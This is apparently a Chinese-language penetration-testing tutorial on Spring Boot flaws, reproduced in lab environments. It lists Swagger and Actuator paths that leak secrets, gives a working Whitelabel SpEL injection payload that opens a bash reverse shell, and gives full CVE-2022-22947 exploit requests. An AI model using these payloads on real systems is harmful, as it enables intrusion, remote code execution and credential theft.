Spring Boot 介绍
Spring 是 Java EE 编程领域的一个轻量级开源框架,Spring Boot 是基于 Spring 优化而来的开源框架,旨在简化企业级应用程序的配置和开发过程。它遵循“约定优于配置”的理念,通过自动配置、内嵌 Web 服务器(如 Tomcat、Jetty 等)以及众多开箱即用的 Starter 依赖,大幅降低了项目启动和开发的复杂性,使开发者能够快速构建独立运行、生产级的应用。
框架特征
人工识别
- Spring Boot 绿色叶子的logo(favicon.ico文件)
fofa语法:icon_hash="116323821"||body="Whitelabel Error Page"
ZoomEye语法:app="Spring Framework"
绿色树叶图标其实是整个 Spring 生态系统的标志,不仅仅代表 Spring Boot。
- 检查异常响应(在端口后面随便输入一个URL), Whitelabel Error Page关键字
Whitelabel Error Page 是 Spring Boot 框架特有的默认错误页面
fofa语法:body="Whitelabel Error Page"
工具识别
-
浏览器扩展:wappalyzer(仅能确定是 spring)
-
goby
-
awvs
Swagger 未授权访问
Swagger 是一个规范和完整的框架,用于生成、描述、调用和可视化 RESTful 风格的 Web 服务,JAVA 在金融机构开发语言的地位一直居高不下,而作为 JAVA 届服务端的大一统框架 Spring,便将 Swagger 规范纳入自身的标准,建立了 Spring-swagger 项目,所以在实际测试环境中,基于 Spring 框架的 swagger-ui 接口展示及调试文档页面最为常见。
在平时渗透测试的的时候,经常会发现 Swagger UI 页面泄露,在这个页面中暴露了目标站点中所有的接口信息,所以可以对这个接口进行漏洞测试,看是否存在未授权访问、sql 注入、文件上传等漏洞。
Fofa语法:title="Swagger UI"
Google语法:intitle:"Swagger UI" site:yourarget.com
漏洞成因
Swagger 未开启页面访问限制
Swagger 未开启严格的Authorize认证
常见路径:
Swagger 未授权访问地址可能存在于以下默认路径:
/api
/api-docs
/api-docs/swagger.json
/api.html
/api/api-docs
/api/apidocs
/api/doc
/api/swagger
/api/swagger-ui
/api/swagger-ui.html
/api/swagger-ui.html/
/api/swagger-ui.json
/api/swagger.json
/api/swagger/
/api/swagger/ui
/api/swagger/ui/
/api/swaggerui
/api/swaggerui/
/api/v1/
/api/v1/api-docs
/api/v1/apidocs
/api/v1/swagger
/api/v1/swagger-ui
/api/v1/swagger-ui.html
/api/v1/swagger-ui.json
/api/v1/swagger.json
/api/v1/swagger/
/api/v2
/api/v2/api-docs
/api/v2/apidocs
/api/v2/swagger
/api/v2/swagger-ui
/api/v2/swagger-ui.html
/api/v2/swagger-ui.json
/api/v2/swagger.json
/api/v2/swagger/
/api/v3
/apidocs
/apidocs/swagger.json
/doc.html
/docs/
/druid/index.html
/graphql
/libs/swaggerui
/libs/swaggerui/
/spring-security-oauth-resource/swagger-ui.html
/spring-security-rest/api/swagger-ui.html
/sw/swagger-ui.html
/swagger
/swagger-resources
/swagger-resources/configuration/security
/swagger-resources/configuration/security/
/swagger-resources/configuration/ui
/swagger-resources/configuration/ui/
/swagger-ui
/swagger-ui.html
/swagger-ui.html#/api-memory-controller
/swagger-ui.html/
/swagger-ui.json
/swagger-ui/swagger.json
/swagger.json
/swagger.yml
/swagger/
/swagger/index.html
/swagger/static/index.html
/swagger/swagger-ui.html
/swagger/ui/
/Swagger/ui/index
/swagger/ui/index
/swagger/v1/swagger.json
/swagger/v2/swagger.json
/template/swagger-ui.html
/user/swagger-ui.html
/user/swagger-ui.html/
/v1.x/swagger-ui.html
/v1/api-docs
/v1/swagger.json
/v2/api-docs
/v3/api-docs
靶场复现
使用 Java Sec Code 的靶场环境,使用 docker 搭建。
靶场链接:https://github.com/JoyChou93/java-sec-code
进入目录后
docker compose up -d
登录用户名密码:
admin/admin123
joychou/joychou123
实际上 java-sec-code 靶场并不存在 Swagger-ui 未授权访问漏洞,需要用户登录以后才能访问到 swagger-ui,此处我们假设无需登录即可访问:
路径 /swagger-ui/index.html 查看生成的API接口文档。
可尝试测试功能接口参数,对系统数据进行增删改查等操作。以 login 接口为例:
点击 Try it out --> Execute 可以调用接口并查看服务器返回数据
SSRF 漏洞接口测试
批量探测
访问 api-docs 或者 swagger.json 可以直接获取 Json 格式的全部接口文档,通过 json 文档地址配合 swagger-scan 工具,可批量自动化爬取并自动测试所有swagger接口。
项目地址:https://github.com/jayus0821/swagger-hack
python swagger-hack2.0.py -u https://IP:port/json文档路径
会自动构造参数并发送请求包,扫描完成后目录下会有一个swagger.csv文档,我们可以在里面找信息泄露的接口(这里搭建的靶场执行没结果,换了个环境):
APIKit 扩展
APIKit 是 BurpSuite 扩展,可以主动/被动扫描发现应用泄露的API文档,并将API文档解析成 BurpSuite 中的数据包用于API安全测试。
支持的API技术的指纹有:
GraphQL
OpenAPI-Swagger
SpringbootActuator
SOAP-WSDL
REST-WADL
在遇到 swagger 页面泄露的时候,如果想手动测试接口,又因为接口太多不想一个点,这时就可以使用此扩展。
APIKit会对进入到BurpSuite的流量进行被动扫描。解析完成后可以在APIKit面板查看结果
- Send with Cookie:开启Cookie,可以把包的Cookie存下来,生成请求的时候保留Cookie。
- Auto Request Sending:选择开启Auto Request Sending后,可以对子API进行自动化鉴权测试,快速发现API未授权访问漏洞。
主动扫描:
可以在任何一个Burpsuite可以右键打开更多选项的页面中,都可以点击右键,选择Do Auto API scan来发起一次主动扫描,进行API指纹探测。
Spring Boot Actuator 未授权访问
Actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息,从而导致信息泄露甚至服务器被接管的事件发生。
常见端点
Actuator 提供的执行器端点分为两类:原生端点和用户自定义扩展端点,原生端点主要有:
路径 | 描述 |
---|---|
/autoconfig | 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过 |
/beans | 描述应用程序上下文里全部的Bean,以及它们的关系 |
/env | 获取全部环境属性 |
/configprops | 描述配置属性(包含默认值)如何注入Bean |
/dump | 获取线程活动的快照 |
/health | 报告应用程序的健康指标,这些值由HealthIndicator的实现类提供 |
/info | 获取应用程序的定制信息,这些信息由Info打头的属性提供 |
/mappings | 描述全部的URL路径,以及它们和控制器(包含Actuator端点)的映射关系 |
/metrics | 报告各种应用程序度量信息,比如内存用量和HTTP请求计数 |
/shutdown | 关闭应用程序,要求endpoints.shutdown.enabled 设置为true |
/trace | 提供基本的HTTP请求跟踪信息(时间戳、HTTP头等) |
对于漏洞比较重要的接口和其可能的利用方式,总结如下:
接口 | 利用方式 |
---|---|
/env、/actuator/env | GET 请求 /env 可能会直接泄露环境变量、内网地址、配置中的用户名、mysql 安装路径、数据库密码(可能带*)、关键密钥等敏感数据 |
/heapdump、/actuator/heapdump | 可尝试访问网站的 /actuator/heapdump 接口,下载返回的 GZip 压缩 堆转储文件,可使用 Eclipse MemoryAnalyzer 加载,通过站点泄露的内存信息,有机会查看到后台账号信息和数据库账号等 |
/trace、/actuator/trace | /trace 路径包含一些 http 请求包访问跟踪信息,有可能在其中发现内网应用系统的一些请求信息详情、以及有效用户或管理员的 authorization(token、JWT、cookie)等字段 |
/mappings、/actuator/mappings | 由于 mappings 记录了全部的 Url 路径,可以利用该端点寻找未授权接口 |
/health、/actuator/health | Git 项目地址的泄露一般在 /health 路径,可探测到站点 git 项目地址并查看源码 |
/refresh、/actuator/refresh | POST 请求 /env 接口设置属性后,可同时配合 POST 请求 /refresh 接口刷新 /env 属性变量来触发相关 RCE 漏洞 |
/restart、/actuator/restart | 暴露出此接口的情况较少,可以配合 POST请求 /env 接口设置属性后,再 POST 请求 /restart 接口重启应用来触发相关 RCE 漏洞 |
/jolokia、/actuator/jolokia | 可以通过 /jolokia/list 接口寻找可以利用的 MBean,间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。 |
需要注意的是:
- 有些程序员会自定义
/manage
、/management
、项目 App 相关名称为 spring 根路径。 - Spring Boot Actuator 1.x 版本默认内置路由的起始路径为
/
,2.x 版本则统一以/actuator
为起始路径。 - Spring Boot Actuator 默认的内置路由名字,如
/env
有时候也会被程序员修改,比如修改成/appenv
靶场复现
使用 Vulhub 靶场的 CVE-2022-22947 环境进行复现
cd vulhub/spring/CVE-2022-22947
docker compose up -d
靶场的Actuator是 2.x 版本的
/actuator/heapdump 堆转储文件
访问后可以下载到一个 hprof 格式的堆转储文件 heapdump
使用工具查看
JDumpSpider,链接:https://github.com/whwlsfb/JDumpSpider
heapdump_tool ,链接:https://github.com/wyzxxz/heapdump_tool
第一款工具 JDumpSpider
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
自动识别、提取敏感信息并进行分类,可惜本环境没有什么敏感信息:
第二款工具 heapdump_tool
java -jar heapdump_tool.jar heapdump
可以输入关键字进行检索。
有时会泄露账户密码,shirokey 等敏感信息。
/env 路径敏感信息
本靶场环境不存在敏感数据,借用网上案例,/env 路径泄露多个敏感账户密码:
/trace 路径泄露认证凭据
/health 路径泄露 Git 项目地址
/mappings 路径泄露所有 API
Whitelabel Error Page SpEL RCE
漏洞原理:
由于 SpelView 类中的 exactMatch 参数未严格过滤,Spring Boot framework 对异常处理不当在同时开启 whitelabel page,会造成异常请求中注入SPEL执行。当用户采用Spring Boot 启动 Spring MVC 项目后,Spring Boot 默认异常模板在处理异常信息时,会递归解析 SPEL 表达式,可导致 SPEL 表达式注入并执行。攻击者利用此漏洞,通过 SPEL 即可在服务器端实现指令注入(执行代码)。
利用条件:
- spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
- 至少知道一个触发 springboot 默认错误页面的接口及参数名
漏洞复现:
使用 Vulfocus 的环境,环境搭建:
docker pull vulfocus/spring-boot_whitelabel_spel:latest
docker run -d -p 9090:9090 镜像ID
步骤一:找到一个正常传参处
比如发现访问 /article?id=xxx
,实战可以通过burp 等工具 fuzz。若网站状态码返回为500,则后续测试可在此id参数进行。
页面报状态码为 500 的错误: Whitelabel Error Page
步骤二:执行 SpEL 表达式
输入 /article?id=${7*7}
,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。
步骤三:反弹shell
bash -i >& /dev/tcp/192.168.56.130/7777 0>&1
将上面的反弹 shell 语句使用 base64 编码放在下面 echo 后面
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEzMC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}
将上面的 payload 通过下面py脚本转换为 java 字节形式
# coding: utf-8
result = ""
target = 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEzMC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}'
for x in target:
result += hex(ord(x)) + ","
print(result.rstrip(','))
最终payload:
article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x62,0x61,0x73,0x68,0x20,0x2d,0x63,0x20,0x7b,0x65,0x63,0x68,0x6f,0x2c,0x59,0x6d,0x46,0x7a,0x61,0x43,0x41,0x74,0x61,0x53,0x41,0x2b,0x4a,0x69,0x41,0x76,0x5a,0x47,0x56,0x32,0x4c,0x33,0x52,0x6a,0x63,0x43,0x38,0x78,0x4f,0x54,0x49,0x75,0x4d,0x54,0x59,0x34,0x4c,0x6a,0x55,0x32,0x4c,0x6a,0x45,0x7a,0x4d,0x43,0x38,0x33,0x4e,0x7a,0x63,0x33,0x49,0x44,0x41,0x2b,0x4a,0x6a,0x45,0x3d,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x65,0x36,0x34,0x2c,0x2d,0x64,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x68,0x2c,0x2d,0x69,0x7d}))}
放在浏览器中执行
成功反弹。
Spring Cloud Gateway Actuator API SpEL RCE(CVE-2022-22947)
漏洞原理:
Spring Cloud 是基于 Spring Boot 来进行构建服务,并提供如配置管理、服务注册与发现、智能路由等常见功能的帮助快速开发分布式系统的系列框架的有序集合。
Spring Cloud Gateway 是 Spring 中的一个API网关,旨在提供一种简单而有效的方法来路由到 API 并为其提供横切关注点,例如:安全性、监控/指标和弹性。客户端发起请求给网关,网关处理映射找到一个匹配的路由,然后发送该给网关的 Web 处理器,处理器会通过一条特定的Filter链来处理请求,最后会发出代理请求,Filter 不仅仅做出预过滤,代理请求发出后也会进行过滤。
其 3.1.0 及 3.0.6 版本(包含)以前存在一处 SpEL 表达式注入漏洞,当 Gateway Actuator 端点启用、暴露且不安全时,使用 Spring Cloud Gateway 的应用程序很容易受到代码注入攻击。远程攻击者可能会发出恶意制作的请求,从而允许在远程主机上进行任意远程执行。
漏洞复现:
还是使用上面用过的 vulhub 靶场的 CVE-2022-22947 环境。
访问页面,默认路径 gateway 在页面 actuator 可访问,如下图所示:
从官方文档了解到,如果配置了暴露 actuator 端点,允许 jmx 或者 Web 访问,则可以通过 /gateway 接口与网关进行交互,并创建新的自定义路由。
利用这个漏洞需要发送两个 HTTP 数据包。
首先,发送如下数据包,添加一个包含恶意 SpEL 表达式的路由:
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.111.135:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
然后,发送如下数据包,应用刚添加的路由,这个数据包将触发 SpEL 表达式的执行:
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.111.135:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 331
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
访问 /actuator/gateway/routes/hacktest 路径即可查看执行结果:
成功执行命令,同理可以将恶意路由的 SpEL 表达式替换为 basse64 的反弹 shell 命令。
最后,发送如下数据包清理现场,删除所添加的路由:
DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
再刷新下路由:
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
漏洞自动化利用工具
最后介绍个 SpringBoot 框架漏洞探测工具:https://github.com/0x727/SpringBootExploit
启动命令:
java -jar SpringBootExploit-1.3-SNAPSHOT-all.jar